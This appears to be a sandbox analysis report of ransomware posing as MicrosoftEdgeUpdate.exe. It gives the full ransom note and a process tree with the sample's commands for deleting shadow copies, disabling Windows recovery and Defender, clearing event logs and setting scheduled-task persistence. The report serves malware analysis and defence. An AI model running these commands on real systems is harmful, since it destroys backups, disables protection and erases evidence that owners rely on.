Analysis

  • user interaction
    yes
  • max time kernel
    364s
  • max time network
    350s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    19/08/2026, 15:55

General

  • Target
    MicrosoftEdgeUpdate.exe
  • Size 3.2MB
  • Sample260819-tcsdesdn4v
  • SHA256 30b26d3b9e0a99868c82160cd68627dd4dfaed241cdb36cb455819443b9340f4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Path
  • C:\Users\Admin\Desktop\DECRYPT_INSTRUCTIONS.txt

Ransom Note
  • === YOU HAVE BEEN RANSOMWARED HAHAHAHAHA === All your documents, photos, databases and backups have been encrypted with AES-256-GCM. The decryption key is stored on a server you cannot reach. To recover your files: 1. Send the ransom to the address below. 2. Enter your victim ID when submitting proof of payment. 3. Run decryptor.exe with the key you receive. Do not attempt to recover the files yourself. Do not contact law enforcement. Do not contact recovery companies. Every attempt to restore will destroy the key. Tick-tock. Victim ID: 1d492ebcf9a3b462 Encrypted at: 2026-08-19 15:56:50 UTC Price: 0.05 BTC Address: bc1qyour0wn0nlytestaddressxxxx PAYMENT DEADLINE: 2026-08-22 15:56 UTC (72 hours from encryption) If the deadline passes the price doubles. It doubles again every 72 hours after that. Tick-tock.

Signatures

  • Clears Windows event logs 1 TTPs 4 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Disables cmd.exe use via registry modification 1 IoCs
  • Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Creates a file in the Startup directory 1 TTPs 8 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 2 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Executes a command shell one-liner 1 TTPs 12 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 4 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of FindShellTrayWindow 10 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe
    "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1900
    • C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe
      C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe
      2⤵
      • Disables RegEdit via registry modification
      • Disables cmd.exe use via registry modification
      • Creates a file in the Startup directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Sets desktop wallpaper using registry
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4896
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c "schtasks /create /tn \"MicrosoftEdgeUpdateTask\" /tr \"\\\"C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe\\\"\" /sc onlogon /rl highest /f"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5660
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn \"MicrosoftEdgeUpdateTask\" /tr \"\\\"C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe\\\"\" /sc onlogon /rl highest /f
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:252
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c "/c ping -n 4 127.0.0.1 >nul 2>&1 & del /f /q \"C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe\" >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • System Network Configuration Discovery: Internet Connection Discovery
        PID:5788
      • C:\Windows\system32\cmd.exe
        "cmd.exe" "/c vssadmin delete shadows /all /quiet >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4532
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet "
          4⤵
          • Interacts with shadow copies
          PID:5132
      • C:\Windows\system32\cmd.exe
        "cmd.exe" "/c wmic shadowcopy delete /nointeractive >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3964
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete /nointeractive "
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:468
      • C:\Windows\system32\cmd.exe
        "cmd.exe" "/c reagentc /disable >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5496
        • C:\Windows\system32\ReAgentc.exe
          reagentc /disable "
          4⤵
          • Drops file in System32 directory
          • Drops file in Windows directory
          PID:3872
      • C:\Windows\system32\cmd.exe
        "cmd.exe" "/c powershell -NoProfile -Command \"Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true\" >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4464
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -Command \"Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true\" "
          4⤵
          • Disables one or more Microsoft Defender components
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4868
      • C:\Windows\system32\cmd.exe
        "cmd.exe" "/c wevtutil cl Application >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1480
        • C:\Windows\system32\wevtutil.exe
          wevtutil cl Application "
          4⤵
          • Clears Windows event logs
          • Suspicious use of AdjustPrivilegeToken
          PID:4552
      • C:\Windows\system32\cmd.exe
        "cmd.exe" "/c wevtutil cl Security >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4844
        • C:\Windows\system32\wevtutil.exe
          wevtutil cl Security "
          4⤵
          • Clears Windows event logs
          • Suspicious use of AdjustPrivilegeToken
          PID:4208
      • C:\Windows\system32\cmd.exe
        "cmd.exe" "/c wevtutil cl System >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1168
        • C:\Windows\system32\wevtutil.exe
          wevtutil cl System "
          4⤵
          • Clears Windows event logs
          • Suspicious use of AdjustPrivilegeToken
          PID:4400
      • C:\Windows\system32\cmd.exe
        "cmd.exe" "/c wevtutil cl Setup >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1240
        • C:\Windows\system32\wevtutil.exe
          wevtutil cl Setup "
          4⤵
          • Clears Windows event logs
          • Suspicious use of AdjustPrivilegeToken
          PID:5680
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c "/c sc config WinDefend start= disabled & sc stop WinDefend >nul 2>&1"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3048
        • C:\Windows\system32\sc.exe
          sc stop WinDefend
          4⤵
          • Launches sc.exe
          PID:1652
      • C:\Windows\system32\cmd.exe
        "cmd.exe" "/c ping -n 4 127.0.0.1 >nul 2>&1 & del /f /q \"C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe\" >nul 2>&1 & schtasks /delete /tn \"MicrosoftEdgeUpdateTask\" /f >nul 2>&1"
        3⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:2876
        • C:\Windows\system32\PING.EXE
          ping -n 4 127.0.0.1
          4⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:1100
        • C:\Windows\system32\schtasks.exe
          schtasks /delete /tn \"MicrosoftEdgeUpdateTask\" /f "
          4⤵
            PID:1856
      • C:\Windows\system32\cmd.exe
        "cmd.exe" "/c ping -n 4 127.0.0.1 >nul 2>&1 & del /f /q \"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdgeUpdate.exe\" >nul 2>&1"
        2⤵
        • Executes a command shell one-liner
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:4912
        • C:\Windows\system32\PING.EXE
          ping -n 4 127.0.0.1
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:5104
    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\Windows\MicrosoftEdgeUpdate.exe
      1⤵
      • Executes dropped EXE
      PID:3100
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1460
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:5036
      • C:\Windows\system32\NOTEPAD.EXE
        "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\DECRYPT_INSTRUCTIONS.txt
        1⤵
        • Opens file in notepad (likely ransom note)
        PID:2808

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            MicrosoftEdgeUpdate.exe

            • Path C:\Users\Admin\AppData\Local\Temp\EdgeUpdate\MicrosoftEdgeUpdate.exe
            • Size 2.9MB
            • SHA256 27f5625bcf1e12f9837282d0861f7049f17b35b8901a306a5e5751e428abea92
            • MD5 SHA1 SHA512 SSDEEP TLSH

            DECRYPT_INSTRUCTIONS.txt

            • Path C:\Users\Admin\Desktop\DECRYPT_INSTRUCTIONS.txt
            • Size 830B
            • SHA256 8f9545c1ecbe4c7a1cdf9159d43aa84ad789124e943be932d176565300313da3
            • MD5 SHA1 SHA512 TLSH

            decryptor.exe

            • Path C:\Users\Admin\Music\decryptor.exe
            • Size 392KB
            • SHA256 d8b991877f258c4c5ffbc48eb13fc731017d03c5db4bfe2f752642ef843a5ffc
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1900-4-0x00007FF6B3000000-0x00007FF6B3057000-memory.dmp

            memory/3100-15-0x00007FF61CA60000-0x00007FF61CD51000-memory.dmp

            memory/4868-22-0x0000016751C00000-0x0000016751C22000-memory.dmp

            memory/4896-5-0x00007FF6C1150000-0x00007FF6C1441000-memory.dmp

            memory/4896-13-0x00007FF6C1150000-0x00007FF6C1441000-memory.dmp

            memory/4896-1764-0x00007FF6C1150000-0x00007FF6C1441000-memory.dmp

            memory/4896-1765-0x00007FF6C1150000-0x00007FF6C1441000-memory.dmp